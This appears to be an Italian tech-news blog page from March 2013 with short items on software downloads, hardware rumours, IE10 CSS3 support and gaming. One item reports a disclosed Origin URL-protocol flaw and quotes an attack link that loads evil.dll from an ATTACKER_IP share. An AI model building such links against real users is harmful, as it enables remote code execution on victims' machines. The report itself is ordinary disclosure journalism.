Diberdayakan oleh Blogger.

Popular Posts Today

Ad-Aware Free Antivirus

Written By Unknown on Selasa, 26 Maret 2013 | 23.47

scheda aggiornata 5 ore fa

Valutazione

Media Voti

         

su 1 votazioni

Ad-Aware è un software di scansione e protezione del proprio sistema che previene infezioni da varie tipologie di rischi quali data mining, scumware, advertising particolarmente aggressivo, malware, hijacking del browser e tracking dei comportamenti d'uso del browser. La versione free è disponibile solo per utilizzo personale in ambiente domestico e non come utilizzo commerciale.


23.47 | 0 komentar | Read More

Huawei pronta all'annuncio di un nuovo top di gamma?

In accordo con le infromazioni diffuse in queste ore da molti siti web cinesi, il produttore Huawei sarebbe al lavoro su di un nuovo terminale che potrebbe presto guadagnare il posto ai vertici della gamma smartphone del produttore asiatico e competere direttamente con i nuovi Galaxy S4 e HTC One.

Il nuovo terminale Huawei potrebbe portare in dote l'ultimo nato tra i processori prodotti dalla stessa Huawei, ovvero il quad-core K3V3 basato su architettura Cortex A15 e operante alla massima frequenza di 1,8 GHz e equipaggiato con GPU ARM Mali T604.

Ad accompagnare il SoC in questione troviamo un quantitativo pari a 2GB di memoria RAM, un display da 4,9 pollici a risoluzione 1920x1080 pixel, fotocamera da 13 megapixel e batteria da 2600 mAh, un quantitativo decisamente importante soprattutto se considerato lo spessore della soluzione che dovrebbe essere di soli 6,3 mm.

Le voci parlano di un possibile annuncio già nel corso del prossimo mese di Aprile anche se, a nostro parere, annunciare un nuovo top di gamma a meno di tre mesi dalla presentazione del precedente, ovvero Ascend D2, potrebbe non essere una mossa adeguata. Allo stesso modo un annuncio in così breve tempo di un ulteriore modello porterebbe sicuramente a una considerevole diminuzione del prezzo dell'attuale flagship phone del produttore, a tutto vantaggio dei consumatori.

Non ci resta che attendere per verificare se effettivamente i piani di Huawei coincidono con quanto sopra riportato.


23.47 | 0 komentar | Read More

Da IBM una nuova tecnica per la carica dei chip di memoria

IBM ha annunciato una nuova scoperta nel campo della scienza dei materiali che può preparare il terreno ad una nuova classe di memorie non volatili e chip logici capaci di impiegare meno energia rispetto alle soluzioni ad oggi disponibili.

Gli scienziati IBM hanno scoperto un nuovo modo per consentire l'operatività dei chip impiegando piccole correnti ioniche invece che i convenzionali segnali elettrici usati per i semiconduttori di oggi. Si tratta, in sintesi, di flussi di atomi con carica che possono imitare i modelli "event-driven" con cui opera il cervello umano.

I computer di oggi fanno uso di semiconduttri realizzati con processo CMOS (Complementary Metal-Oxide Semiconductor) che progrediscono ad un passo dettato dalla legge di Moore: le prestazioni dei processori, ed il numero di transistor, raddoppiano ogni 18 mesi. Tuttavia le tecniche utilizzate per sviluppare e costruire i chip CMOS stanno rapidamente giungendo ai limiti fisici ed è pertanto necessario individuare nuove soluzioni di sviluppo per realizzare dispositivi ad alte prestazioni e a basso consumo.

I ricercatori IBM hanno applicato un elettrolita ionico liquido caricato positivamente all'ossido di vanadio, un materiale isolante. In questo modo sono stati capaci di convertire il materiale verso uno stato metallico. Il materiale ha mantenuto il proprio stato fino all'applicazione di un elettrolita ionico liquido caricato negativamente, che lo ha riportato al suo stato originario isolante.

Gli scienziati di IBM hanno mostrato la possibilità di trasformare in maniera reversibile gli ossidi metallici tra stati conduttori ed isolanti con l'inserimento e la rimozione di ioni ossigeno guidati da campi elettrici all'interfaccia ossido-liquido. Una volta che gli ossidi, che sono isolanti, vengono trasformati in conduttori, IBM ha dimostrato mediante alcuni esperimenti che i materiali sono capaci di mantenere uno stato metallico anche quando viene tolta l'energia al dispositivo. Questa proprietà non-volatile permette la realizzazione di chip in grado di stoccare e trasportare informazione in maniera più efficente, seguendo meccaniche event-driven, invece di dover mantenere lo stato del dispositivo da costanti correnti elettriche.

Stuart Parkin, IBM fellow per IBM Research, ha spiegato: "La nostra capacità di capire e controllare la materia su scala atomica, ci permette di comporre nuovi materiali e dispositivi capaci di operare su principi completamente differenti rispetto a quelli su cui si basa la tecnologia dell'informazione oggi. L'impiego di dispositivi capaci di usare correnti ioniche per controllare in maniera reversibile lo stato della materia, ha il potenziale per la realizzazione di nuovi tipi di dispositivi mobile. L'impiego di questi nuovi concetti nelle nuove architetture tridimensionali potrebbe aiutare a prevenire che il settore tecnologico raggiunga un punto di stallo".


23.47 | 0 komentar | Read More

HTC One, distribuzione ritardata a causa della nuova fotocamera

Come si era già vociferato nelle settimane passate pare che il nuovo top di gamma del colosso taiwanese HTC possa giungere sul mercato in ritardo rispetto alle iniziali previsioni. Secondo quanto dichiarato dalla compagnia asiatica ci sarebbero infatti dei problemi nel raggiungere i quantitativi necessari alla produzione di massa di uno dei componenti del nuovo One.

Parliamo della tanto decantata fotocamera dotata di teconologia UltraPixel proprietaria della stessa HTC. È lo stesso Benjamin Ho, chief marketing officer del produttore, ha confermare il problema riguardo il componente in una intervista rilasciata ieri al Wall Street Journal.

Il problema sarebbe dovuto al fatto che la nuova fotocamera è stata progettata specificatamente per il nuovo HTC One e ciò non permette una produzione così rapida da garantire il necessario quantitativo di componenti nei tempi prestabiliti.

Nel corso della giornata di venerdì il produttore aveva comunicato che HTC One farà il proprio debutto nel Regno Unito, in Germania e a Taiwan il prossimo weekend, mentre entro la fine di aprile dovrebbe raggiungere il Nord America, il resto dell'Europa e le regioni asiatiche.


23.47 | 0 komentar | Read More

Dell, due proposte alternative da altri investitori

Si aprono nuovi possibili scenari nella vicenda che vede Dell impegnata nel processo di uscita dalla borsa: sul tavolo del consiglio di amministrazione sono infatti giunte due nuove proposte alternative all'accordo avanzato da Silver Lake Partners e Michael Dell che offrono agli azionisti la possibilità di mantenere le proprie quote nella compagnia. In questo modo Dell continuerebbe a restare quotata in borsa.

La prima proposta giunge ad opera di un gruppo che include Blackstone Management Associates, Boulder Acquisiton Corp, Francisco Partners III e Insight Venture Management. Con questa proposta vengono offerti agli azionisti più di 14,25 dollari per azione, valore considerato il minimo punto di partenza su cui costruire i negoziati. Si tratta di un'offerta con una maggiorazione del 4% circa rispetto ai 13,65 dollari per azione offerti dall'accordo originario di Silver Lake e Dell per il riacquisto delle quote della società.

La seconda offerta è invece stata avanzata da Ichan Enterprises ed include anch'essa una maggiorazione rispetto all'offerta originaria. In questo caso agli azionisti Dell verrebbero offerti 15 dollari per azione (il 10% in più rispetto alla proposta Silver Lake-Dell) e, come la proposta di Blackstone, gli azionisti avranno l'opzione di mantenere le proprie quote.

Nessuna delle due proposte, tuttavia, va a dettagliare una visione per il futuro dell'azienda, ma entrambe sono comunque al vaglio del consiglio di amministrazione dell'azienda. Alex Mandl, presidente del comitato speciale incaricato di valutare le proposte, ha commentato: "Siamo gratificati dal successo del nostro processo di vendita che ha ottenuto due proposte alternative con un potenziale per creare valore aggiunto per gli azionisti Dell. Intendiamo lavorare scrupolosamente con tutti e tre i potenziali acquirenti per assicurare la migliore evoluzione possibile per gli azionisti, qualsiasi sia la transazione".


23.47 | 0 komentar | Read More

Verizon lancia nuovo portale gaming su tecnologia PlayPhone

La società con sede a San Francisco, PlayPhone, ha annunciato che il suo software development kit sarà alla base di un nuovo portale gaming che sarà lanciato sulla porzione Android del network Verizon. Il portale offrirà una grande visibilità agli sviluppatori di giochi mobile e godrà dell'efficienza dei metodi di pagamento Verizon.

PlayPhone

Per caricare i propri giochi sul portale, gli sviluppatori possono usare l'SDK PlayPhone, come annunciato al Game Developers Conference. Questo software permette agli utenti Android di mantenersi in contatto con gli amici e di sfidarli in sessioni di gioco con prodotti free to play o premium.

"L'SDK di PlayPhone mette a disposizione diverse funzionalità di tipo sociale avanzate, come consigli, inviti, classifiche, risultati, favorendo la scoperta virale dei giochi", si legge in un blog post ufficiale. "Inserito nella rete Verizon, Games Portal alimenta la crescita esponenziale dei propri giochi".

PlayPhone ha lanciato la sua rete di social gaming per smartphone nel mese di dicembre 2011, per poi ampliarla nel luglio successivo. A marzo ha comprato la società di mobile marketing SocialHour per 51,5 milioni di dollari.

PlayPhone ha creato un'app free to play che gira su iOS, Android e piattaforme HTML5. L'applicazione permette ai giocatori di socializzare tra di loro e soprattutto di impegnarsi in sessioni di gioco multiplayer accessibili contemporaneamente da utenti che dispongono di dispositivi con sistema operativi diversi.

Un utente Android, così, può giocare contro un utente di dispositivo Apple, ad esempio. Possono scambiarsi dei messaggi e chattare insieme. PlayPhone consente di fare l'autenticazione tramite il login Facebook e dispone di una valuta virtuale proprietaria, definita Playcredits. Gli utenti possono scegliere tra diverse forme di fatturazione e di pagamento anche su piattaforma chiusa come App Store.

Non è necessario uscire dal gioco per pagare per un bene virtuale e si può pagare in maniera indipendente rispetto al circuito Apple. PlayPhone ha rapporti con oltre 100 operatori globali, mentre è diventato partner per le fatturazioni negli Stati Uniti sia di AT&T che di Verizon.

PlayPhone è un competitor di grosse aziende come Gree e DeNA/Ngmoco, che sono leader del settore soprattutto in Giappone. È una compagnia più giovane che vanta ancora un numero inferiore di utenti rispetto alle aziende rivali. Si tratta, tuttavia, di una società in forte crescita, mentre i rivali cominciano a incontrare qualache difficoltà: recentemente, ad esempio, Gree è è stata costretta a chiudere OpenFeint.

PlayPhone ha ottenuto un round di finanziamento dalla cordata composta da Menlo Ventures, Cardinal Venture Capital, Coral Group e Scale Venture Partners, ma l'entità del finanziamento non è stata rivelata.


23.47 | 0 komentar | Read More

Supporto CSS3 in Internet Explorer 10, una panoramica

Internet Explorer 10, come già anticipato nei precedenti articoli, ha introdotto il supporto a buona parte delle specifiche CSS3, proseguendo così l'iter iniziato con la release 9 del browser di casa Microsoft. Oltre alle funzionalità standard sono presenti anche numerose estensioni, denotate dal prefisso -ms-*, similmente a quanto fatto da Mozilla Firefox (-moz-*) e da Safari / Chrome (-webkit-* oppure -apple-*).

In generale, per lo sviluppo di layout web conformi agli standard, i Frontend Developers sono incoraggiati a fare uso esclusivamente delle funzionalità standard, cioè quelle senza prefissi. Tuttavia è possibile avvalersi di queste funzionalità aggiuntive qualora ce ne fosse la stretta necessità. Le funzionalità relative ai Layout:

  • CSS Exclusion. Consente di impaginare il testo in modo fluido intorno alle immagini o ad interi blocchi HTML.
     
  • CSS Regions. Implementano un meccanismo capace di spezzare un testo, o comunque un blocco HTML in più regioni o blocchi. Si rivela utile per l'impaginazione di layout molto complessi tipici di una rivista o giornale. Facilita, tra le altre cose, anche l'inserimento di immagini e spazi pubblicitari in modo dinamico all'interno della pagina, rivelandosi quindi molto comodo per lo sviluppo di pagine secondo i paradigmi del Responsive Design.
     
  • CSS3 Multi-column Layout. Consente l'impaginazione del contenuto su più colonne, senza doversi appoggiare a stratagemmi usati in passato, come floating divs o simili.
     
  • CSS3 Flexbox Layout. Consente di costruire un layout che si adatta a differenti dimensioni mantenendo le proporzioni tra le varie parti. Usato in congiunzione con il Multi-column Layout, consente di sviluppare interfacce Responsive con poco sforzo.
     
  • CSS3 Grid. Le Grid in qualche modo ricordano i layout implementati tramite tabelle, ma ripensati in modo diverso, e specificatamente sviluppati per suddividere le pagine in macroblocchi (header, footer, sidebar, content, ecc…), controllandone posizione e proporzioni reciproche in modo semplice.
     
  • CSS Device Adaptation. Da usarsi insieme alle regole CSS Media Queries per fornire layout differenziati in base alle dimensioni dello schermo.

Accanto a queste funzionalità sono state introdotte anche tutta una serie di effetti visivi, pensati per alleggerire le pagine da sfondi e file grafici pur mantenendo al tempo stesso una elevata capacità di espressione grafica, e sono:

  • CSS3 3-D Transforms. Consente di creare layout con deformazioni prospettiche in tre dimensioni.
     
  • CSS3 Animations. Controlli per animare qualunque proprietà CSS senza l'utilizzo di codice JavaScript. Usato in congiunzione con le trasformazioni 3D, consente di creare animazioni d'effetto che vengono generalmente accelerate in hardware tramite la GPU.
     
  • CSS3 Fonts. Una serie di comandi che consentono di usare abbellimenti tipografici, come le legature, usando font di tipo OpenType.
     
  • CSS3 Transitions. Una versione semplificata delle Animations. Consentono di specificare un valore all'inizio ed alla fine della transizione, la sua durata e la curva d'interpolazione da usare. A differenza delle Animations, però, non contengono keyframes, possibilità di mettere in pausa o di eseguire l'animazione al contrario.
     
  • CSS3 Text. Una serie di proprietà per definire l'ombreggiatura del testo e le regole per andare a capo nel paragrafo, spezzando opportunamente le parole rispettando le regole grammaticali.

Infine sono state introdotte ulteriori funzionalità come il supporto allo scroll e lo zoom tramite dispositivi touchscreen, sono stati rimossi i limiti al numero di stylesheet per pagina e altre funzioni previste per le applicazioni Windows Store ma non per il browser IE10 (ricordiamo che le applicazioni Windows Store possono essere sviluppate anche in HTML5 + JavaScript, sfruttando il motore di rendering Trident).

Per eventuali approfondimenti potete fare riferimento alla guida MSDN relativa al supporto CSS, ed anche alla lista completa degli elementi CSS supportati in Internet Explorer. Nei prossimi articoli vedremo come usare alcune di queste caratteristiche per ottimizzare le pagine HTML su schermi di diverse dimensioni, in particolare per l'ottimizzazione su smartphone, tablet e PC con varie dimensioni e risoluzioni.

Chiaramente, trattandosi di elementi CSS3, possono essere sfruttati non soltanto su Windows Phone e su Windows RT, ma anche su sistemi operativi e browser moderni di altri vendor, in particolar modo Chrome, Safari, Opera e Firefox per citare i più diffusi in ambito mobile. Le tecniche illustrate potranno pertanto essere riciclate anche per l'ottimizzazione dei siti su iOS, Android, BlackBerry 10 e tutte le piattaforme dotate di un browser moderno.

Articoli precedenti:

Parte 1. Internet Explorer 10, il browser del riscatto
Parte 2. Internet Explorer 10 e la compatibilità col passato
Parte 3. Modern.ie, un nuovo strumento di testing da Microsoft


23.47 | 0 komentar | Read More

Vulnerabilità Origin consente l'esecuzione di codice da remoto

Written By Unknown on Selasa, 19 Maret 2013 | 23.47

Gli oltre 40 milioni di utenti di Origin potrebbero essere a rischio secondo le ricerche di un gruppo di programmatori italiani, che operano sotto l'etichetta ReVuln. La piattaforma di gioco online di Electronic Arts, infatti, consentirebbe a malintenzionati di eseguire codice sui computer dei giocatori in modalità remota.

Origin

L'attacco è stato dimostrato venerdì scorso in occasione della conferenza sulla sicurezza Black Hat che si è svolta ad Amsterdam. Servono pochi secondi per portare a termine la procedura e in alcuni casi non è necessaria alcuna interazione da parte delle vittime. L'attacco è basato sulla manipolazione del protocollo URL che viene utilizzato per l'avvio automatico dei giochi sui PC o sui Mac.

Sfruttando i difetti nell'applicazione Origin, sia nella sua variante Mac che in quella PC, quest'ultima può essere trasformata in uno strumento per attaccare gli utenti e installare silenziosamente malware sui computer di questi ultimi.

"La piattaforma Origin consente agli utenti malintenzionati di sfruttare le vulnerabilità locali attraverso il meccanismo di gestione degli URL", sostengono Donato Ferrante e Luigi Auriemma, i due ricercatori di ReVuln. "Un utente malitenzionato potrebbe creare un collegamento internet in modo da eseguire codice dannoso in modalità remota sul computer della vittima che ha installato Origin".

Ad Amsterdam, i due ricercatori hanno mostrato una demo in cui si vede come sia possibile eseguire codice da remoto su un computer con Origin e Crysis 3 installati. La piattaforma EA usa il link origin://LaunchGame/71503 per l'attivazione del gioco, ma anche gli utenti possono clickare su link come origin://LaunchGame/71503?CommandParams= -openautomate \\ATTACKER_IP\evil.dll. Nella demo si vedeva come in questo caso il client Origin caricasse una libreria a collegamento dinamico di Windows sul computer della vittima.

Electronic Arts, secondo quanto riporta Ars Technica, ha già inoltrato un comunicato ufficiale sulla faccenda. "Il nostro team indaga costantemente su problematiche come questa e aggiorniamo senza soluzione di continuità la nostra infrastruttura di sicurezza", è la posizione ufficiale di EA.

Si tratta di un attacco molto simile a quello dimostrato dagli stessi ricercatori nel caso di Steam. I due di ReVuln dimostravano come la piattaforma digitale di Valve fosse a rischio exploit per via del modo in cui gestisce il protocollo URL "steam://".

Grazie a protocolli di questo tipo si possono raggiungere delle pagine web in cui attivare un gioco o accedere a una particolare promozione, oppure per scaricare tool, leggere news, controllare i profili di altri giocatori. Ma con lo stesso sistema vengono gestiti altri tipi di comandi, come l'installazione e la disinstallazione dei giochi, la connessione ai server di gioco, l'esecuzione di un gioco.

In quell'occasione, i due ricercatori consigliavano agli utenti di disabilitare l'avvio automatico tramite gli URL "steam://". L'attacco attraverso Origin funziona, dunque, in modo molto simile, sfruttando la funzionalità che consente tramite web di avviare i giochi da remoto. Il comando che normalmente serve per avviare un gioco, infatti, può essere modificato al fine di indurre il PC a installare un programma dannoso.

Quando un link origin:// viene lanciato per la prima volta su un computer, i browser web tipicamente chiedono all'utente se vuole lanciare effettivamente il client Origin associato a quel tipo di link. I vari browser gestiscono in maniera differente questa operazione: alcuni mostrano all'utente il percorso web completo, mentre altri ne rivelano solamente una parte. Se l'utente conferma questo tipo di comportamento per il suo PC, allora tutti i link di quel tipo lanceranno la piattaforma Origin. In questo caso quell'utente non potrà più essere protetto da eventuali attacchi da remoto, e non serviranno ulteriori interazioni affinché avvenga la penetrazione di codice dannoso sul sistema. Gli utenti che vogliono mantenere un elevato livello di protezione dovrebbero invece assicurarsi che il sistema notifichi sempre del tentativo di lancio di un software associato a un URL di questo tipo.


23.47 | 0 komentar | Read More

Un'app con un emulatore GBA nascosto all'interno

Volete giocare con gli storici titoli del Game Boy Advance su iPhone o iPad? Bene, allora scaricate Awesome Baby Names. Non abbiamo bevuto troppo: si tratta del nome dato all'applicazione in modo da ingannare il review team dell'App Store e fare in modo che venisse accettato quello che è a tutti gli effetti un emulatore, normalmente non consentito.

Awesome Baby Names

L'app, infatti, apparentemente è un generatore di nomi per bambini, ma con la pressione nell'ordine giusto di certi pulsanti consente di installare ed eseguire ROM di vecchi giochi per GBA. Bisogna premere tre volte nell'angolo in alto a sinistra, una volta nella parte centrale in basso e infine un'altra volta nella parte in basso a destra, come spiega l'immagine riportata in questa pagina.

Per far funzionare l'emulatore, inoltre, servono delle ROM, come nel caso di Gridlee. Questo è un altro emulatore, nella fattispecie per Mame, anch'esso disponibile su App Store, e funzionante senza aver bisogno di fare il jailbreak del dispositivo.

Awesome Baby Names costa € 1,79 ed è compatibile con tutti gli iPhone dal 3GS in poi e con tutti gli iPad. È ottimizzato per iPhone 5. Si può scaricare premendo qui. Bisogna affrettarsi, perché l'app potrebbe essere tolta dallo store a breve.

Awesome Baby Names


23.47 | 0 komentar | Read More

Win7codecs

scheda aggiornata 2 ore fa

Valutazione

Media Voti

         

su 1 votazioni

Pacchetto che comprende codec audio e video specifici per l'utilizzo con sistemi operativi Windows 7. Queste le novità implementate nell'ultima versione:

- update LAV filters 54.1+
- update FFDshow 4500


23.47 | 0 komentar | Read More

Una fotografa italiana tra i vincitori della categoria Open dei SWPA 2013

La World Photography Organisation ha annunciato i vincitori della categoria Open dei Sony World Photography Awards 2013, concorso che vedrà la premiazione finale il 25 aprile prossimo a Londra. I dieci vincitori delle diverse sottocategorie del concorso Open guadagnano la possibilità di concorrere, in occasione della kermesse londinese, al titolo di "Sony World Photography Awards Open Photographer of the Year".

Il vincitore assoluto, come detto, sarà proclamato il 25 aprile, assieme ai vincitori delle categorie del concorso dedicato ai professionisti e del fotografo vincitore dell'Iris D'Or e riceverà la somma di 5.000 dollari. Tutti e dieci saranno invece premiati con una Sony α77. Inoltre, le loro foto saranno esposte alla Somerset House di Londra, dal 26 aprile al 12 maggio, nell'ambito della Sony World Photography Awards Exhibition 2013, e pubblicate nell'edizione 2013 del volume dedicato ai Sony World Photography Awards.

Le immagini vincitrici si distinguono per la varietà dei soggetti immortalati in un solo scatto: una coppia in procinto di sposarsi, il cielo notturno di Mañğystau, in Kazakistan, la danza del drago di fuoco "Fung Shun" nella Cina meridionale e molto altro. Vincitori della categoria Open
Giudicati sulla base di una sola fotografia amatoriale, i vincitori della categoria Open sono stati selezionati fra quasi 55.000 candidati.

I nomi sono:
• Architettura - Martina Biccheri, Italia
• Arte e cultura - Gilbert Yu, Hong Kong
• Avanzato - Hoang Hiep Nguyen, Vietnam
• Scarsa illuminazione - Elmar Akhmetov, Kazakistan
• Natura e animali - Krasimir Matarov, Bulgaria
• Panorami - Yeow Kwang Yeo, Singapore
• Gente - Hisatomi Tadahiko, Giappone
• Sorrisi - Mac Kwan (关明晖), Cina
• Frazione di secondo - Matías Gálvez, Cile
• Viaggi - Manny Fajutag, Filippine

Vincitrice nel tema Architettura è la fotografa italiana Martina Biccheri che ha scelto di partecipare con uno scatto ripreso nella città in cui vive, Roma, nella primavera del 2012. Interessante il metodo utilizzato per effettuare la ripresa: Martina Biccheri ha infatti utilizzato un banco ottico (lastra 5x6) per scattare la foto, che poi è stata sottoposta ai processi di scansione e post-produzione. Le ci sono voluti diversi tentativi per raggiungere l'esposizione perfetta, il risultato finale è dunque figlio anche di grande passione, dedizione e pazienza. Esempio ne è l'intera giornata passata davanti al muro in una occasione, il tutto solo per verificare a che ora del giorno l'ombra fosse più geometrica.

Martina ha così commentato la sua vittoria: "Quando il telefono è squillato e ho capito che era la World Photography Organisation che mi stava chiamando, ho risposto con le gambe che mi tremavano! Alla fine si trattava di una bellissima notizia e ho dovuto chiedere all'Event Director di ripetermi almeno un paio di volte che ero effettivamente io la vincitrice della categoria Architettura perché non riuscivo a credere alle mie orecchie. Sono davvero lusingata di rappresentare il mio paese e tutte le fotografe donne. È un grande onore e non vedo l'ora di capire cosa succederà in seguito."


23.47 | 0 komentar | Read More

Gioco vs streaming: come vengono usate le console moderne

Anche Sony e Microsoft si preparano a lanciare le console di nuova generazione, seguendo le orme di Nintendo, che nella scorsa stagione natalizia ha lanciato Wii U. Ma nel frattempo bisogna verificare un dato molto importante circa le abitudini di utilizzo con le attuali console: sempre più persone, infatti, le usano per accedere ai servizi di streaming come Hulu e Netflix.

Nella sua più recente indagine, Nielsen ha verificato numeri in rialzo quando si parla di utilizzo delle console per l'accesso ai contenuti video in streaming. Sembra, infatti, che negli Usa un'ampia fetta dell'utenza preferisca le console ai vari servizi Roku, Boxee e Apple TV anche per la fruizione di questo tipo di contenuti.

Le console principali, Xbox 360, PlayStation 3 e Wii U, permettono ormai di accedere alle più popolari app di streaming, e questo vale anche per l'Europa e per l'Italia. PlayStation 3 e Xbox 360 consentono, inoltre, di scaricare o noleggiare film e spettacoli televisivi, alla stregua di iTunes.

Secondo i dati dell'indagine Nielsen, sono gli utenti PlayStation 3 ad aver cambiato maggiormente le proprie abitudini nell'utilizzo della console. Gli utenti PS3 spendono, infatti, un quarto del loro tempo dedicato alla console a guardare film o spettacoli televisivi, con un dato in crescita del 15% nel 2012 rispetto a quanto registrato nell'anno precedente.

Gli utenti di Nintendo Wii spendono addirittura il 32% del tempo sui video-on-demand o sui servizi di streaming, mentre nel caso di Xbox 360 questa percentuale scende al 13%.

Il sondaggio evidenzia al contempo come siano gli utenti di Xbox 360 a spendere più tempo online (33%), mentre con Wii si gioca prevalentemente offline (40%). È in declino l'uso di DVD e di altri supporti ottici sulle console, anche se nel caso di PlayStation 3 gli utenti spendono ancora il 18% del tempo a guardare film su Blu-ray.


23.47 | 0 komentar | Read More

x64 Components

scheda aggiornata 1 ora fa

Valutazione

Media Voti

         

su 1 votazioni

Pacchetto di codec video specificamente sviluppato per l'utilizzo con sistemi operativi Windows a 64bit. Questi componenti sono pienamente compatibili con i codec a 32bit installati utilizzando il pacchetto Vista Codec Package e possono essere completamente disinstallati dal pannello di controllo di Windows.

Ecco l'elenco dei cambiamenti apportati in quest'ultima release:

- update LAV filters 54.1+
- update FFDshow 4500


23.47 | 0 komentar | Read More

Smartwatch, non solo Apple: anche Samsung al lavoro

Non si tratta di indiscrezioni, ma di una conferma ufficiale: un dirigente Samsung ha rivelato che l'azienda coreana sta lavorando ad un progetto che le permetterà di entrare nel mondo dei dispositivi di computazione indossabili, senza tuttavia andare a dettagliare le possibili caratteristiche degli eventuali prodotti.

Secondo quanto riferisce il sito di informazione Bloomebrg, Samsung è anch'essa al lavoro per sviluppare uno smartwatch per entrare in diretta competzione con Apple. Il colosso coreano, per voce dell'executive vice president della divisione mobile, Lee Young Hee, ha affermato: "Stiamo lavorando sodo per essere preparati. Stiamo realizzando prodotti per il futuro e un orologio è di certo uno di essi".

Da qualche tempo circola nel settore della tecnologia il concetto di "smartwatch" ovvero un orologio da polso con funzioni di connettività e capacità computazionali, con la possibilità di interconnettersi con altri dispositivi ed interagire con essi in varie possibili modalità. Secondo varie indiscrezioni, suffragate da una serie di brevetti depositati presso l'USPTO, pare che Apple sia attualmente al lavoro per realizzare un prodotto basato su questo concetto, che potrebbe vedere la luce nel corso del 2013.

Il mercato dei dispositivi di computazione indossabili è un terreno ancora inesplorato, ma con un valore potenziale piuttosto elevato. E' quindi abbastanza verosimile supporre che le principali realtà che attualmente già battagliano su altri mercati consumer vogliano prepararsi al meglio per presidiare un settore che diventerà particolarmente vivace e popolato negli anni a venire, sempre più di pari passo con il progresso tecnologico e la miniaturizzazione dei componenti elettronici.


23.47 | 0 komentar | Read More

OCCT Perestroika

Written By Unknown on Selasa, 12 Maret 2013 | 23.47

scheda aggiornata 4 ore fa

Valutazione

Media Voti

         

su 0 votazioni

OCCT, OverClock Checking Tool, è una utility che permette di mettere sotto stress in sequenza il proprio processore così da valutarne la stabilità operativa in condizioni di overclock. Di seguito le note fornire con il programma:


23.47 | 0 komentar | Read More

Winamp Full

scheda aggiornata 3 ore fa

Valutazione

Media Voti

         

su 0 votazioni

Famoso player in lingua inglese, dal semplice utilizzo, è compatibile con i più diffusi formati audio e permette una elevata personalizzazione. Ben note sono le skins, cioè le vesti grafiche, che possono essere scaricate da vari siti per personalizzare il proprio winamp.
Quella proposta è la versione Full.


23.47 | 0 komentar | Read More

Starcraft II Hots adesso giocabile

Giorni molto intensi per il gaming PC/mac: dopo il farraginoso lancio di SimCity, infatti, ecco che arriva anche Starcraft II Heart of the Swarm, la seconda parte della trilogia dell'RTS Blizzard. A differenza del gestionale Maxis, non si registrano problemi di intasamento dei server di gioco per il lancio di Hots, che è già giocabile nella gran parte dei territori, Italia compresa.

Starcraft II Heart of the Swarm

I giocatori possono ora acquistare Heart of the Swarm nei negozi di Stati Uniti, Canada, Europa, Russia, Corea del Sud, Australia, Nuova Zelanda, Sudest asiatico, Messico, Cile, Brasile, Taiwan, Hong Kong e Macao, oppure digitalmente attraverso il sito ufficiale del gioco, mentre i dettagli sulla pubblicazione in Cina verranno annunciati in futuro.

"Heart of the Swarm migliora ogni aspetto di StarCraft II", ha dichiarato Mike Morhaime, presidente e co-fondatore di Blizzard Entertainment. "Oltre alla campagna di Kerrigan e le nuove unità e mappe multigiocatore, riteniamo che i giocatori apprezzeranno moltissimo le novità online e le nuove caratteristiche che rendono StarCraft II ancora più divertente da giocare e facile da imparare".

Heart of the Swarm riprende la storia di StarCraft II laddove Wings of Liberty l'aveva lasciata, concentrandosi sulle avventure di Kerrigan impegnata a radunare lo Sciame e a ottenere la propria vendetta su Arcturus Mengsk. Nel corso delle oltre 20 missioni della campagna, i giocatori seguiranno Kerrigan mentre attraversa la galassia, espandendo il proprio esercito con numerose specie zerg. Kerrigan diventerà sempre più potente di missione in missione e i giocatori potranno personalizzarla con nuove abilità, facendo evolvere numerose stirpi zerg in nuove sottospecie adattabili al proprio stile di gioco.

Nuove armi debutteranno nel multigiocatore di Heart of the Swarm, come le nuove unità Hellbat terran, gli Ospiti dello Sciame zerg e le Tempeste Protoss, mentre alcune unità già esistenti in Wings of Liberty verranno aggiornate con nuove abilità. Nuove caratteristiche miglioreranno l'esperienza di gioco, inclusi i sistemi di club e clan; il matchmaking non classificato; il Gioco globale, che permette ai giocatori di affrontare avversari da altre regioni di gioco; il tracciamento di statistiche addizionali; miglioramenti dell'interfaccia utente; fisica in gioco migliorata, per battaglie dall'aspetto più cruento; replay multigiocatore, per guardare i replay gli amici; un sistema di progressione, che offre ai giocatori di Heart of the Swarm un nuovo modo per personalizzare i propri profili online.

In redazione è già arrivata l'edizione da collezione di Heart of the Swarm, come potete vedere dalla foto riportata in questa pagina. All'interno della confezione si trova la versione completa del gioco su DVD-ROM, DVD e Blu-Ray "Dietro le quinte", la colonna sonora su CD, il libro illustrato di Heart of the Swarm e il tappetino per il mouse Zerg Rush. Questa versione di Hots viene venduta al prezzo suggerito di 69,99 €.

Pubblicheremo nei prossimi giorni la nostra recensione di Heart of the Swarm.


23.47 | 0 komentar | Read More

CPU Intel Haswell e USB 3.0: nuova revision per i chipset

La scorsa settimana, con questa notizia, abbiamo segnalato un problema che potrebbe rallentare il debutto della prossima generazione di processori Intel della famiglia Core. Ci riferiamo al malfunzionamento delle piattaforme Intel Socket 1150 LGA in abbinamento ai processori della famiglia Haswell che si verificherebbero in alcuni casi con periferiche USB 3.0.

Nello specifico il malfunzionamento si verificherebbe nel momento in cui il sistema venga risvegliato da uno stato S3 sleep mode, cioè da una delle più utilizzate modalità di risparmio energetico nelle quali il sistema entra quando non viene utilizzato per tutta la potenza di elaborazione a disposizione. La conseguenza diretta di questo sarebbe uno stallo dell'applicazione che stia utilizzando il controller USB 3.0, con la necessità per l'utente di riavviarne l'esecuzione ma senza, pare, perdita di dati di funzionamento. Ad esempio, un processo di riproduzione di un flusso video potrebbe non riprendere autonomamente, come dovrebbe, una volta che il sistema esca dalla fase S3: per riavviare la riproduzione si rende necessario un riavvio dell'applicazione da parte dell'utente.

Il bug è stato confermato come risolvibile ma questo richiederà un aggiornamento hardware dei chipset per processori Haswell. Stando ai dati attualmente a disposizione questo non dovrebbe implicare un delay nel lancio delle nuove piattaforme: i produttori di schede madri, come segnalato da Fudzilla a questo indirizzo, non avrebbero segnalato cambiamenti nelle tempistiche di lancio di questi processori.

Resta da capire quando Intel immetterà sul mercato questi nuovi processori; il periodo più indicato è il mese di Giugno 2013, in concomitanza con il Computex di Taipei.

Questo bug della piattaforma Haswell di nuova generazione ricorda quanto accaduto con la prima generazione di chipset Intel per processori Core basati su architettura Sandy Bridge. In quel caso il problema era ben più grave, legato a possibili malfunzionamenti del controller SATA 6 Gbps integrato nel chipset. Quel bug ha portato Intel a sospendere la commercializzazione delle nuove piattaforme, sino a quando non è stata resa disponibile una nuova revision del chipset che ha corretto il problema.


23.47 | 0 komentar | Read More

Black Ops 2 introduce le micro-transazioni

